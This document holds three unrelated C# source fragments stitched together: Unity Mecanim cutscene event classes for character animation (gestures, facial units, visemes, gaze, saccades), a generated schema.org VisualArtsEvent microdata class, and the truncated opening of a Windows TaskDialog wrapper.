MecanimManager.Get().SBPlayAnim(character, motion.name);
}
public override string GetLengthParameterName() { return "motion"; }
public override bool NeedsToBeFired (CutsceneEvent ce) { return false; }
public override float CalculateEventLength(CutsceneEvent ce)
{
float length = -1;
AnimationClip motion = Cast<AnimationClip>(ce, 1);
if (motion != null)
{
length = motion.length;
}
return length;
}
public override void SetParameters(CutsceneEvent ce, XmlReader reader)
{
ce.StartTime = ParseFloat(reader["start"], ref ce.StartTime);
if (!string.IsNullOrEmpty(reader["mm:eventName"]))
{
ce.Name = reader["mm:eventName"];
}
ce.FindParameter("character").stringData = reader["character"];
// TODO: our state names in the animation controller don't have the character name prefix, so we strip it if it's there.
// this needs to be re-evaluated to see if there is a better way
ce.Name = ce.FindParameter("motion").stringData = CleanupAnimationName(reader["name"]);
if (string.IsNullOrEmpty(ce.Name))
{
ce.Name = "No Animation Name";
}
if (!string.IsNullOrEmpty(reader["mm:length"]))
{
ce.Length = ParseFloat(reader["mm:length"], ref ce.Length);
}
}
#endregion
}
public class MecanimEvent_Gesture : MecanimEvent_Base
{
#region Functions
public void Gesture(string character, string lexeme, string type)
{
string animName = MecanimManager.Get().GetAnimation(character, lexeme, type);
if (!string.IsNullOrEmpty(animName))
{
MecanimManager.Get().SBPlayAnim(character, animName);
}
}
public override bool NeedsToBeFired (CutsceneEvent ce) { return false; }
public override void SetParameters(CutsceneEvent ce, XmlReader reader)
{
ce.StartTime = ParseFloat(reader["start"], ref ce.StartTime);
if (!string.IsNullOrEmpty(reader["mm:eventName"]))
{
ce.Name = reader["mm:eventName"];
}
else
{
ce.Name = reader["lexeme"] + " " + reader["type"];
}
ce.FindParameter("character").stringData = reader["character"];
ce.FindParameter("lexeme").stringData = reader["lexeme"];
ce.FindParameter("type").stringData = reader["type"];
if (!string.IsNullOrEmpty(reader["mm:length"]))
{
ce.Length = ParseFloat(reader["mm:length"], ref ce.Length);
}
}
#endregion
}
public class MecanimEvent_PlayFAC : MecanimEvent_Base
{
#region Functions
public void PlayFAC(string character, int au, CharacterDefines.FaceSide side, float weight, float duration)
{
MecanimManager.Get().SBPlayFAC(character, au, side, weight, duration);
}
/*public void PlayFAC(string character, int au, SmartbodyManager.FaceSide side, float weight, float duration, float readyTime, float relaxTime)
{
MecanimManager.Get().SBPlayFAC(character, au, side, weight, duration, readyTime, relaxTime);
}*/
public override string GetLengthParameterName() { return "duration"; }
/*public override string GetXMLString(CutsceneEvent ce)
{
float readyTime = 0, relaxTime = 0;
if (ce.FunctionOverloadIndex == 0 || ce.FunctionOverloadIndex == 2)
{
return string.Format(@"<face type=""FACS"" mm:eventName=""{1}"" au=""{0}"" side=""{2}"" start=""{3}"" end=""{4}"" amount=""{5}"" mm:ypos=""{6}"" character=""{7}"" mm:overload=""{8}"" />",
ce.FindParameter("au").intData, ce.Name, ce.FindParameter("side").enumDataString, ce.StartTime, ce.EndTime, ce.FindParameter("weight").floatData,
ce.GuiPosition.y, GetObjectName(ce, "character"), ce.FunctionOverloadIndex);
}
else
{
readyTime = ce.FindParameter("readyTime").floatData;
relaxTime = ce.FindParameter("relaxTime").floatData;
return string.Format(@"<face type=""FACS"" mm:eventName=""{1}"" au=""{0}"" side=""{2}"" start=""{3}"" ready=""{4}"" relax=""{5}"" end=""{6}"" amount=""{7}"" mm:ypos=""{8}"" character=""{9}"" mm:overload=""{10}"" />",
ce.FindParameter("au").intData, ce.Name, ce.FindParameter("side").enumDataString, ce.StartTime, ce.StartTime + readyTime, ce.StartTime + relaxTime, ce.EndTime, ce.FindParameter("weight").floatData,
ce.GuiPosition.y, GetObjectName(ce, "character"), ce.FunctionOverloadIndex);
}
}*/
public override void SetParameters(CutsceneEvent ce, XmlReader reader)
{
ce.FindParameter("au").intData = int.Parse(reader["au"]);
int au = ce.FindParameter("au").intData;
ce.StartTime = ParseFloat(reader["start"], ref ce.StartTime);
/*ce.FindParameter("character").SetObjData(FindCharacter(reader["character"], ce.Name));
if (ce.FindParameter("character").objData == null)
{
ce.FindParameter("character").stringData = reader["character"];
}*/
ce.FindParameter("character").stringData = reader["character"];
ce.FindParameter("weight").floatData = ParseFloat(reader["amount"], ref ce.FindParameter("weight").floatData);
if (!string.IsNullOrEmpty(reader["side"]))
{
ce.FindParameter("side").SetEnumData((CharacterDefines.FaceSide)Enum.Parse(typeof(CharacterDefines.FaceSide), reader["side"], true));
}
if (!string.IsNullOrEmpty(reader["duration"]))
{
ce.FindParameter("duration").floatData = ce.Length = ParseFloat(reader["duration"], ref ce.FindParameter("duration").floatData);
}
else
{
float endTime = 1;
endTime = ParseFloat(reader["end"], ref endTime);
ce.FindParameter("duration").floatData = ce.Length = endTime - ce.StartTime;
}
if (!string.IsNullOrEmpty(reader["mm:eventName"]))
{
ce.Name = reader["mm:eventName"];
}
else if (!string.IsNullOrEmpty(reader["id"]))
{
Debug.Log("FAC NAME: " + reader["id"]);
ce.Name = reader["id"];
}
else
{
if (CharacterDefines.AUToFacialLookUp.ContainsKey(au))
{
ce.Name = string.Format("FAC {0}", CharacterDefines.AUToFacialLookUp[au]);
}
else
{
ce.Name = "FAC";
}
}
}
public override void UseParamDefaultValue(CutsceneEvent ce, CutsceneEventParam param)
{
if (param.Name == "au")
{
param.intData = 26; // jaw
}
else if (param.Name == "weight")
{
param.floatData = 1.0f;
}
else if (param.Name == "side")
{
param.SetEnumData((CharacterDefines.FaceSide)Enum.Parse(typeof(CharacterDefines.FaceSide), CharacterDefines.FaceSide.both.ToString()));
}
}
#endregion
}
public class SmartbBodyEvent_PlayViseme : MecanimEvent_Base
{
#region Functions
public void PlayViseme(string character, string viseme, float weight, float duration, float blendTime)
{
MecanimManager.Get().SBPlayViseme(character, viseme, weight, duration, blendTime);
}
public override string GetLengthParameterName() { return "duration"; }
/*public override string GetXMLString(CutsceneEvent ce)
{
string character = GetObjectName(ce, "character");
string viseme = ce.FindParameter("viseme").stringData;
float weight = ce.FindParameter("weight").floatData;
float blendTime = ce.FindParameter("blendTime").floatData;
float duration = ce.FindParameter("duration").floatData;
string messageStart = string.Format(@"scene.command('char {0} viseme {1} {2} {3}')", character, viseme, weight, blendTime);
string messageStop = string.Format(@"scene.command('char {0} viseme {1} {2} {3}')", character, viseme, 0, blendTime);
return string.Format(@"<event message=""{0}"" start=""{1}"" mm:ypos=""{2}"" mm:eventName=""{3}"" mm:messageType=""visemeStart"" character=""{4}"" viseme=""{5}"" weight=""{6}"" blendTime=""{7}"" duration=""{8}"" mm:overload=""{9}"" />",
messageStart, ce.StartTime, ce.GuiPosition.y, ce.Name, character, viseme, weight, blendTime, duration, ce.FunctionOverloadIndex)
+ string.Format(@"<event message=""{0}"" start=""{1}"" mm:ypos=""{2}"" mm:eventName=""{3}"" mm:messageType=""visemeStop"" character=""{4}"" viseme=""{5}"" weight=""{6}"" blendTime=""{7}"" duration=""{8}"" mm:overload=""{9}"" />",
messageStop, ce.StartTime + (duration - blendTime), ce.GuiPosition.y, ce.Name, character, viseme, weight, blendTime, duration, ce.FunctionOverloadIndex);
}*/
public override void SetParameters(CutsceneEvent ce, XmlReader reader)
{
float startTime;
if (!string.IsNullOrEmpty(reader["start"]))
{
if (float.TryParse(reader["start"], out startTime))
{
ce.StartTime = startTime;
}
}
else if (!string.IsNullOrEmpty(reader["stroke"]))
{
if (float.TryParse(reader["stroke"], out startTime))
{
ce.StartTime = startTime;
}
}
if (!string.IsNullOrEmpty(reader["mm:eventName"]))
{
ce.Name = reader["mm:eventName"];
}
else
{
ce.Name = reader["viseme"];
}
/*if (ce.FunctionOverloadIndex == 0)
{
ce.FindParameter("character").SetObjData(FindCharacter(reader["character"], ce.Name));
}
else*/
{
ce.FindParameter("character").stringData = reader["character"];
}
ce.FindParameter("viseme").stringData = reader["viseme"];
ce.FindParameter("weight").floatData = ParseFloat(reader["weight"], ref ce.FindParameter("weight").floatData);
ce.FindParameter("blendTime").floatData = ParseFloat(reader["blendTime"], ref ce.FindParameter("blendTime").floatData);
ce.Length = ce.FindParameter("duration").floatData = ParseFloat(reader["duration"], ref ce.FindParameter("duration").floatData);
}
public override void UseParamDefaultValue(CutsceneEvent ce, CutsceneEventParam param)
{
if (param.Name == "viseme")
{
param.stringData = "open";
}
else if (param.Name == "weight")
{
param.floatData = 1.0f;
}
else if (param.Name == "duration")
{
param.floatData = 2.0f;
}
else if (param.Name == "blendTime")
{
param.floatData = 1.0f;
}
}
#endregion
}
public class MecanimEvent_HeadMovement : MecanimEvent_Base
{
/*public override string GetXMLString(CutsceneEvent ce)
{
return string.Format(@"<head start=""{0}"" type=""{1}"" repeats=""{2}"" amount=""{3}"" mm:track=""{4}"" mm:ypos=""{5}"" mm:eventName=""{6}"" end=""{7}"" character=""{8}"" mm:overload=""{9}""/>",
ce.StartTime, "NOD", ce.FindParameter("repeats").floatData, ce.FindParameter("amount").floatData, "NOD", ce.GuiPosition.y, ce.Name,
ce.FindParameter("time").floatData + ce.StartTime, GetObjectName(ce, "character"), ce.FunctionOverloadIndex);
}*/
public override string GetLengthParameterName() { return "time"; }
public override void SetParameters(CutsceneEvent ce, XmlReader reader)
{
ce.FindParameter("repeats").floatData = ParseFloat(reader["repeats"], ref ce.FindParameter("repeats").floatData);
ce.FindParameter("amount").floatData = ParseFloat(reader["amount"], ref ce.FindParameter("amount").floatData);
//ce.EventData.NodVelocity = ParseFloat(reader["velocity"]);
if (!string.IsNullOrEmpty(reader["start"]))
{
ce.StartTime = ParseFloat(reader["start"], ref ce.StartTime);
}
ce.FindParameter("character").stringData = reader["character"];
if (!string.IsNullOrEmpty(reader["duration"]))
{
float dur = 0;
ce.FindParameter("time").floatData = ce.Length = (ParseFloat(reader["duration"], ref dur) - ce.StartTime);
}
else if (!string.IsNullOrEmpty(reader["end"]))
{
float endTime = 1;
endTime = ParseFloat(reader["end"], ref endTime);
if (endTime < 0)
{
endTime = ce.StartTime + 1;
}
ce.FindParameter("time").floatData = ce.Length = endTime - ce.StartTime;
}
else
{
ce.FindParameter("time").floatData = ce.Length = 1;
}
if (!string.IsNullOrEmpty(reader["mm:eventName"]))
{
ce.Name = reader["mm:eventName"];
}
else if (string.IsNullOrEmpty(ce.Name))
{
ce.Name = string.Format("Head " + reader["type"]);
}
}
public override void UseParamDefaultValue(CutsceneEvent ce, CutsceneEventParam param)
{
if (param.Name == "amount")
{
param.floatData = 1;
}
else if (param.Name == "repeats")
{
param.floatData = 2.0f;
}
else if (param.Name == "time")
{
param.floatData = 1.0f;
}
}
}
public class MecanimEvent_Nod : MecanimEvent_HeadMovement
{
#region Functions
public void Nod(string character, float amount, float repeats, float time)
{
MecanimManager.Get().SBNod(character, amount, repeats, time);
}
#endregion
}
public class MecanimEvent_Shake : MecanimEvent_HeadMovement
{
#region Functions
public void Shake(string character, float amount, float repeats, float time)
{
MecanimManager.Get().SBShake(character, amount, repeats, time);
}
#endregion
}
public class MecanimEvent_Tilt : MecanimEvent_HeadMovement
{
#region Functions
public void Tilt(string character, float amount, float repeats, float time)
{
MecanimManager.Get().Tilt(character, amount, repeats, time);
}
#endregion
}
public class MecanimEvent_Gaze : MecanimEvent_Base
{
#region Functions
public void Gaze(string character, string gazeAt, float headSpeed, float eyeSpeed, float bodySpeed)
{
MecanimManager.Get().SBGaze(character, gazeAt, headSpeed, eyeSpeed, CharacterDefines.GazeJointRange.HEAD_EYES);
}
public override void SetParameters(CutsceneEvent ce, XmlReader reader)
{
ce.FindParameter("character").stringData = reader["character"];
ce.StartTime = ParseFloat(reader["start"], ref ce.StartTime);
string targetName = reader["target"];
if (!string.IsNullOrEmpty(reader["mm:eventName"]))
{
ce.Name = reader["mm:eventName"];
}
// TODO: parse joint-speed param
ce.FindParameter("gazeAt").stringData = targetName;
}
public override void UseParamDefaultValue(CutsceneEvent ce, CutsceneEventParam param)
{
if (param.Name == "headSpeed")
{
param.floatData = GazeController.DefaultHeadGazeSpeed;
}
else if (param.Name == "eyesSpeed")
{
param.floatData = GazeController.DefaultEyeGazeSpeed;
}
else if (param.Name == "bodySpeed")
{
param.floatData = GazeController.DefaultBodyGazeSpeed;
}
}
#endregion
}
public class MecanimEvent_GazeTime : MecanimEvent_Base
{
#region Functions
public void GazeTime(string character, string gazeAt, float headFadeInTime, float eyesFadeInTime, float bodyFadeInTime)
{
//MecanimManager.Get().SBGaze(character, gazeAt, headFadeInTime);
}
public override string GetLengthParameterName() { return "headFadeInTime"; }
public override float CalculateEventLength(CutsceneEvent ce)
{
return Mathf.Max(Param(ce, 2).floatData, Param(ce, 3).floatData, Param(ce, 4).floatData);
}
public override void UseParamDefaultValue(CutsceneEvent ce, CutsceneEventParam param)
{
if (param.Name == "headFadeInTime")
{
param.floatData = 1;
}
else if (param.Name == "eyesFadeInTime")
{
param.floatData = 1.0f;
}
else if (param.Name == "bodyFadeInTime")
{
param.floatData = 1.0f;
}
}
#endregion
}
public class MecanimEvent_SetGazeWeight : MecanimEvent_Base
{
#region Functions
public void SetGazeWeight(string character, float head, float eyes, float body)
{
MecanimManager.Get().SetGazeWeights(character, head, eyes, body);
}
public override void UseParamDefaultValue(CutsceneEvent ce, CutsceneEventParam param)
{
if (param.Name == "head")
{
param.floatData = 1;
}
else if (param.Name == "eyes")
{
param.floatData = 1;
}
else if (param.Name == "body")
{
param.floatData = 1;
}
}
#endregion
}
public class MecanimEvent_GazeAdvanced : MecanimEvent_Base
{
#region Functions
public void GazeAdvanced(string character, string gazeTarget, string targetBone, CharacterDefines.GazeDirection gazeDirection,
CharacterDefines.GazeJointRange jointRange, float angle, float headSpeed, float eyeSpeed, float fadeOut, float duration)
{
if (character == null || gazeTarget == null)
{
return;
}
MecanimManager.Get().SBGaze(character, gazeTarget, targetBone, gazeDirection, jointRange, angle, headSpeed, eyeSpeed, fadeOut, "", duration);
}
public override string GetLengthParameterName() { return "duration"; }
public override float CalculateEventLength (CutsceneEvent ce)
{
float len = 1;
if (ce.DoesParameterExist("duration") && ce.FindParameter("duration").floatData > 0)
{
len = ce.FindParameter("duration").floatData + ce.FindParameter("fadeOut").floatData;
}
return len;
}
/*public override string GetXMLString(CutsceneEvent ce)
{
string targetBone = ce.FindParameter("targetBone").stringData;
string jointRangeString = ce.FindParameter("jointRange").enumDataString;
if (!string.IsNullOrEmpty(jointRangeString))
{
jointRangeString = jointRangeString.Replace("_", " ");
}
return string.Format(@"<gaze character=""{0}"" mm:eventName=""{1}"" target=""{2}"" angle=""{3}"" start=""{4}"" duration=""{5}"" headspeed=""{6}"" eyespeed=""{7}"" fadeout=""{8}"" sbm:joint-range=""{9}"" sbm:joint-speed=""{6} {7}"" mm:track=""{10}"" mm:ypos=""{11}"" direction=""{12}"" sbm:handle=""{13}"" targetBone=""{14}"" mm:advanced=""true"" mm:overload=""{15}""/>",
GetObjectName(ce, "character"), ce.Name, GazeTargetName(ce), ce.FindParameter("angle").floatData,
ce.StartTime, ce.Length, ce.FindParameter("headSpeed").floatData, ce.FindParameter("eyeSpeed").floatData, ce.FindParameter("fadeOut").floatData,
jointRangeString, "GAZE", ce.GuiPosition.y, ce.FindParameter("gazeDirection").enumDataString, "", targetBone, ce.FunctionOverloadIndex);
}*/
public override void SetParameters(CutsceneEvent ce, XmlReader reader)
{
if (!string.IsNullOrEmpty(reader["sbm:joint-range"]))
{
//ce.FindParameter("jointRange").SetEnumData((SmartbodyManager.GazeJointRange)Enum.Parse(typeof(SmartbodyManager.GazeJointRange), reader["sbm:joint-range"].ToString().Replace(" ", "_"), true));
ce.FindParameter("jointRange").SetEnumData(CharacterDefines.ParseGazeJointRange(reader["sbm:joint-range"]));
}
if (!string.IsNullOrEmpty(reader["direction"]))
{
string direction = reader["direction"];
if (reader["direction"].IndexOf(' ') != -1)
{
string[] split = direction.Split(' ');
direction = split[0];
}
ce.FindParameter("gazeDirection").SetEnumData((CharacterDefines.GazeDirection)Enum.Parse(typeof(CharacterDefines.GazeDirection), direction, true));
}
ce.FindParameter("character").stringData = reader["character"];
ce.FindParameter("angle").floatData = ParseFloat(reader["angle"], ref ce.FindParameter("angle").floatData);
ce.FindParameter("headSpeed").floatData = ParseFloat(reader["headspeed"], ref ce.FindParameter("headSpeed").floatData);
ce.FindParameter("eyeSpeed").floatData = ParseFloat(reader["eyespeed"], ref ce.FindParameter("eyeSpeed").floatData);
ce.FindParameter("fadeOut").floatData = ParseFloat(reader["fadeout"], ref ce.FindParameter("fadeOut").floatData);
//ce.FindParameter("gazeHandleName").stringData = reader["sbm:handle"];
ce.FindParameter("targetBone").stringData = reader["targetBone"];
ce.StartTime = ParseFloat(reader["start"], ref ce.StartTime);
//ce.FindParameter("duration").floatData = ce.Length = ParseFloat(reader["duration"]);
if (ce.Length == 0)
{
ce.Length = 1;
}
string targetName = reader["target"];
int colonIndex = targetName.IndexOf(":");
if (colonIndex != -1)
{
// there's a specific bone that needs to be looked at
targetName = targetName.Remove(colonIndex);
}
ce.FindParameter("gazeTarget").stringData = targetName;
}
public override void UseParamDefaultValue(CutsceneEvent ce, CutsceneEventParam param)
{
if (param.Name == "headSpeed")
{
param.floatData = 400;
}
else if (param.Name == "eyeSpeed")
{
param.floatData = 400;
}
else if (param.Name == "jointRange")
{
param.SetEnumData(CharacterDefines.GazeJointRange.EYES_NECK);
}
else if (param.Name == "targetBone")
{
param.SetEnumData(CharacterDefines.GazeTargetBone.NONE);
}
else if (param.Name == "gazeDirection")
{
param.SetEnumData(CharacterDefines.GazeDirection.NONE);
}
else if (param.Name == "duration")
{
param.floatData = 0;
}
else if (param.Name == "fadeOut")
{
param.floatData = 0.25f;
}
}
#endregion
}
public class MecanimEvent_StopGaze : MecanimEvent_Base
{
#region Constants
const float DefaultStopGazeTime = 1;
#endregion
#region Functions
public void StopGaze(string character)
{
MecanimManager.Get().SBStopGaze(character, 1);
}
public void StopGaze(string character, float fadeOut)
{
MecanimManager.Get().SBStopGaze(character, fadeOut);
}
public override void UseParamDefaultValue(CutsceneEvent ce, CutsceneEventParam param)
{
if (param.Name == "fadeOut")
{
param.floatData = 1;
}
}
/*public override string GetXMLString(CutsceneEvent ce)
{
float fadeOut = 1;
if (ce.FunctionOverloadIndex == 1)
{
fadeOut = ce.FindParameter("fadeOut").floatData;
}
return string.Format(@"<event message=""sb scene.command('char {0} gazefade out {1}')"" character=""{0}"" stroke=""{2}"" mm:eventName=""{3}"" mm:ypos=""{4}"" mm:overload=""{5}""/>",
GetObjectName(ce, "character"), fadeOut, ce.StartTime, ce.Name, ce.GuiPosition.y, ce.FunctionOverloadIndex);
}*/
public override void SetParameters(CutsceneEvent ce, XmlReader reader)
{
if (!string.IsNullOrEmpty(reader["start"]))
{
float.TryParse(reader["start"], out ce.StartTime);
}
else if (!string.IsNullOrEmpty(reader["stroke"]))
{
float.TryParse(reader["stroke"], out ce.StartTime);
}
if (ce.FunctionOverloadIndex == 1)
{
ce.FindParameter("fadeOut").floatData = ParseFloat(reader["fadeOut"], ref ce.FindParameter("fadeOut").floatData );
}
ce.FindParameter("character").stringData = reader["character"];
ce.Name = reader["mm:eventName"];
if (string.IsNullOrEmpty(ce.Name))
{
ce.Name = "Stop Gaze";
}
}
#endregion
}
public class MecanimEvent_StopSaccade : MecanimEvent_Base
{
#region Functions
public void StopSaccade(string character)
{
MecanimManager.Get().SBStopSaccade(character);
}
/*public override string GetXMLString(CutsceneEvent ce)
{
return string.Format(@"<event message=""sbm bml char {0} <saccade finish="true" />"" stroke=""{1}"" mm:ypos=""{2}"" character=""{0}"" mm:stopSaccade=""true"" mm:eventName=""{3}"" />",
GetObjectName(ce, "character"), ce.StartTime, ce.GuiPosition.y, ce.Name);
}*/
public override void SetParameters(CutsceneEvent ce, XmlReader reader)
{
if (!string.IsNullOrEmpty(reader["stroke"]))
{
float.TryParse(reader["stroke"], out ce.StartTime);
}
ce.FindParameter("character").stringData = reader["character"];
if (!string.IsNullOrEmpty(reader["mm:eventName"]))
{
ce.Name = reader["mm:eventName"];
}
else
{
ce.Name = "Stop Saccade";
}
}
#endregion
}
public class MecanimEvent_Saccade : MecanimEvent_Base
{
#region Functions
public void Saccade(string character, CharacterDefines.SaccadeType type, bool finish, float duration)
{
MecanimManager.Get().SBSaccade(character, type, finish, duration);
}
public void Saccade(string character, CharacterDefines.SaccadeType type, bool finish, float duration, float angleLimit, float direction, float magnitude)
{
MecanimManager.Get().SBSaccade(character, type, finish, duration, angleLimit, direction, magnitude);
}
public override string GetLengthParameterName() { return "duration"; }
/*public override string GetXMLString(CutsceneEvent ce)
{
return string.Format(@"<event message=""sbm bml char {0} <saccade mode="{1}" />"" stroke=""{3}"" type=""{1}"" mm:track=""{4}"" mm:ypos=""{5}"" character=""{0}"" mm:eventName=""{6}""/>",
GetObjectName(ce, "character"), ce.FindParameter("type").enumDataString.ToLower(), 0, ce.StartTime, "Saccade", ce.GuiPosition.y, ce.Name);
}*/
public override void SetParameters(CutsceneEvent ce, XmlReader reader)
{
if (!string.IsNullOrEmpty(reader["start"]))
{
float.TryParse(reader["start"], out ce.StartTime);
}
else if (!string.IsNullOrEmpty(reader["stroke"]))
{
float.TryParse(reader["stroke"], out ce.StartTime);
}
//ce.FindParameter("character").SetObjData(FindCharacter(reader["character"], ce.Name));
ce.FindParameter("character").stringData = reader["character"];
ce.FindParameter("type").SetEnumData((CharacterDefines.SaccadeType)Enum.Parse(typeof(CharacterDefines.SaccadeType), reader["type"], true));
if (!string.IsNullOrEmpty(reader["duration"]))
{
ce.FindParameter("duration").floatData = ParseFloat(reader["duration"], ref ce.FindParameter("duration").floatData);
}
if (!string.IsNullOrEmpty(reader["mm:eventName"]))
{
ce.Name = reader["mm:eventName"];
}
else
{
ce.Name = "Saccade " + reader["type"];
}
}
public override void UseParamDefaultValue(CutsceneEvent ce, CutsceneEventParam param)
{
if (param.Name == "duration")
{
param.floatData = 1;
}
}
#endregion
}
public class MecanimEvent_Express : MecanimEvent_Base
{
#region Functions
public void Express(string character, AudioClip uttID, string uttNum, string text)
{
MecanimManager.Get().SBExpress(character, uttID.name, uttNum, text);
}
public void Express(string character, string uttID, string uttNum, string text)
{
MecanimManager.Get().SBExpress(character, uttID, uttNum, text);
}
public override void UseParamDefaultValue(CutsceneEvent ce, CutsceneEventParam param)
{
if (param.Name == "target")
{
param.stringData = "user";
}
}
public override string GetLengthParameterName() { return "uttID"; }
public override bool NeedsToBeFired (CutsceneEvent ce) { return false; }
public override float CalculateEventLength(CutsceneEvent ce)
{
float length = -1;
if ((ce.FunctionOverloadIndex == 0) && !IsParamNull(ce, 1))
{
length = Cast<AudioClip>(ce, 1).length;
}
return length;
}
#endregion
}
public class MecanimEvent_SetFloat : MecanimEvent_Base
{
#region Functions
public void SetFloat(string character, string paramName, float paramData)
{
MecanimManager.Get().SetCharacterFloatParam(character, paramName, paramData);
}
public void SetFloat(string character, string paramName, float paramData, float blendInTime)
{
MecanimManager.Get().SetCharacterFloatParam(character, paramName, paramData, blendInTime);
}
public override void UseParamDefaultValue(CutsceneEvent ce, CutsceneEventParam param)
{
if (param.Name == "blendInTime")
{
param.floatData = 0.5f;
}
}
/*public override string GetLengthParameterName() { return "duration"; }
public override float CalculateEventLength (CutsceneEvent ce)
{
return ce.FunctionOverloadIndex == 0 ? -1 : ce.FindParameter("duration").floatData;
}
public override void UseParamDefaultValue(CutsceneEvent ce, CutsceneEventParam param)
{
if (param.Name == "viseme")
{
param.stringData = "open";
}
else if (param.Name == "weight")
{
param.floatData = 1.0f;
}
else if (param.Name == "duration")
{
param.floatData = 1.0f;
}
else if (param.Name == "blendTime")
{
param.floatData = 0f;
}
}*/
#endregion
}
public class MecanimEvent_SetBool : MecanimEvent_Base
{
#region Functions
public void SetBool(string character, string paramName, bool paramData)
{
MecanimManager.Get().SetCharacterBoolParam(character, paramName, paramData);
}
#endregion
}
public class MecanimEvent_SetInt : MecanimEvent_Base
{
#region Functions
public void SetInt(string character, string paramName, int paramData)
{
MecanimManager.Get().SetCharacterIntParam(character, paramName, paramData);
}
#endregion
}
public class MecanimEvent_SetSaccadeBehaviour : MecanimEvent_Base
{
#region Functions
public void SetSaccadeBehaviour(string character, CharacterDefines.SaccadeType behaviour)
{
MecanimManager.Get().SetSaccadeBehaviour(character, behaviour);
}
#endregion
}
public class MecanimEvent_PlaySaccade : MecanimEvent_Base
{
#region Functions
public void PlaySaccade(string character, float direction, float magnitude, float duration)
{
MecanimManager.Get().PlaySaccade(character, direction, magnitude, duration);
}
public override string GetLengthParameterName() { return "duration"; }
public override void UseParamDefaultValue(CutsceneEvent ce, CutsceneEventParam param)
{
if (param.Name == "direction")
{
param.floatData = 90;
}
if (param.Name == "magnitude")
{
param.floatData = 8;
}
if (param.Name == "duration")
{
param.floatData = 1;
}
}
#endregion
}
public class MecanimEvent_SetFaceWeightMultiplier : MecanimEvent_Base
{
#region Functions
public void SetVisemeWeightMultiplier(string character, float startWeight, float endWeight)
{
if (Application.isPlaying)
{
MecanimManager.Get().SetVisemeWeightMultiplier(character, Mathf.Lerp(startWeight, endWeight, m_InterpolationTime));
}
}
public override void UseParamDefaultValue(CutsceneEvent ce, CutsceneEventParam param)
{
if (param.Name == "startWeight")
{
param.floatData = 1.0f;
}
else if (param.Name == "endWeight")
{
param.floatData = 2.0f;
}
}
public override bool IsFireAndForget ()
{
return false;
}
#endregion
}
#endregion
}
| |
using System;
using System.Globalization;
using System.Collections.Generic;
using Sasoma.Utils;
using Sasoma.Microdata.Interfaces;
using Sasoma.Languages.Core;
using Sasoma.Microdata.Properties;
namespace Sasoma.Microdata.Types
{
/// <summary>
/// Event type: Visual arts event.
/// </summary>
public class VisualArtsEvent_Core : TypeCore, IEvent
{
public VisualArtsEvent_Core()
{
this._TypeId = 286;
this._Id = "VisualArtsEvent";
this._Schema_Org_Url = "http://schema.org/VisualArtsEvent";
string label = "";
GetLabel(out label, "VisualArtsEvent", typeof(VisualArtsEvent_Core));
this._Label = label;
this._Ancestors = new int[]{266,98};
this._SubTypes = new int[0];
this._SuperTypes = new int[]{98};
this._Properties = new int[]{67,108,143,229,19,71,82,130,151,158,214,216,218};
}
/// <summary>
/// A person attending the event.
/// </summary>
private Attendees_Core attendees;
public Attendees_Core Attendees
{
get
{
return attendees;
}
set
{
attendees = value;
SetPropertyInstance(attendees);
}
}
/// <summary>
/// A short description of the item.
/// </summary>
private Description_Core description;
public Description_Core Description
{
get
{
return description;
}
set
{
description = value;
SetPropertyInstance(description);
}
}
/// <summary>
/// The duration of the item (movie, audio recording, event, etc.) in <a href=\http://en.wikipedia.org/wiki/ISO_8601\ target=\new\>ISO 8601 date format</a>.
/// </summary>
private Properties.Duration_Core duration;
public Properties.Duration_Core Duration
{
get
{
return duration;
}
set
{
duration = value;
SetPropertyInstance(duration);
}
}
/// <summary>
/// The end date and time of the event (in <a href=\http://en.wikipedia.org/wiki/ISO_8601\ target=\new\>ISO 8601 date format</a>).
/// </summary>
private EndDate_Core endDate;
public EndDate_Core EndDate
{
get
{
return endDate;
}
set
{
endDate = value;
SetPropertyInstance(endDate);
}
}
/// <summary>
/// URL of an image of the item.
/// </summary>
private Image_Core image;
public Image_Core Image
{
get
{
return image;
}
set
{
image = value;
SetPropertyInstance(image);
}
}
/// <summary>
/// The location of the event or organization.
/// </summary>
private Location_Core location;
public Location_Core Location
{
get
{
return location;
}
set
{
location = value;
SetPropertyInstance(location);
}
}
/// <summary>
/// The name of the item.
/// </summary>
private Name_Core name;
public Name_Core Name
{
get
{
return name;
}
set
{
name = value;
SetPropertyInstance(name);
}
}
/// <summary>
/// An offer to sell this item\u2014for example, an offer to sell a product, the DVD of a movie, or tickets to an event.
/// </summary>
private Offers_Core offers;
public Offers_Core Offers
{
get
{
return offers;
}
set
{
offers = value;
SetPropertyInstance(offers);
}
}
/// <summary>
/// The main performer or performers of the event\u2014for example, a presenter, musician, or actor.
/// </summary>
private Performers_Core performers;
public Performers_Core Performers
{
get
{
return performers;
}
set
{
performers = value;
SetPropertyInstance(performers);
}
}
/// <summary>
/// The start date and time of the event (in <a href=\http://en.wikipedia.org/wiki/ISO_8601\ target=\new\>ISO 8601 date format</a>).
/// </summary>
private StartDate_Core startDate;
public StartDate_Core StartDate
{
get
{
return startDate;
}
set
{
startDate = value;
SetPropertyInstance(startDate);
}
}
/// <summary>
/// Events that are a part of this event. For example, a conference event includes many presentations, each are subEvents of the conference.
/// </summary>
private SubEvents_Core subEvents;
public SubEvents_Core SubEvents
{
get
{
return subEvents;
}
set
{
subEvents = value;
SetPropertyInstance(subEvents);
}
}
/// <summary>
/// An event that this event is a part of. For example, a collection of individual music performances might each have a music festival as their superEvent.
/// </summary>
private SuperEvent_Core superEvent;
public SuperEvent_Core SuperEvent
{
get
{
return superEvent;
}
set
{
superEvent = value;
SetPropertyInstance(superEvent);
}
}
/// <summary>
/// URL of the item.
/// </summary>
private Properties.URL_Core uRL;
public Properties.URL_Core URL
{
get
{
return uRL;
}
set
{
uRL = value;
SetPropertyInstance(uRL);
}
}
}
}
| |
//Copyright (c) Microsoft Corporation. All rights reserved.
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using Microsoft.WindowsAPI.Resources;
using Microsoft.WindowsAPI.Internal;
namespace Microsoft.WindowsAPI.Dialogs
{
/// <summary>
/// Encapsulates the native logic required to create,
/// configure, and show a TaskDialog,
/// via the TaskDialogIndirect() Win32 function.
/// </summary>
/// <remarks>A new instance of this class should
/// be created for each messagebox show, as
/// the HWNDs for TaskDialogs do not remain constant
/// across calls to TaskDialogIndirect.
/// </remarks>
internal class NativeTaskDialog : IDisposable
{
private TaskDialogNativeMethods.TaskDialogConfiguration nativeDialogConfig;
private NativeTaskDialogSettings settings;
private IntPtr hWndDialog;
private TaskDialog outerDialog;
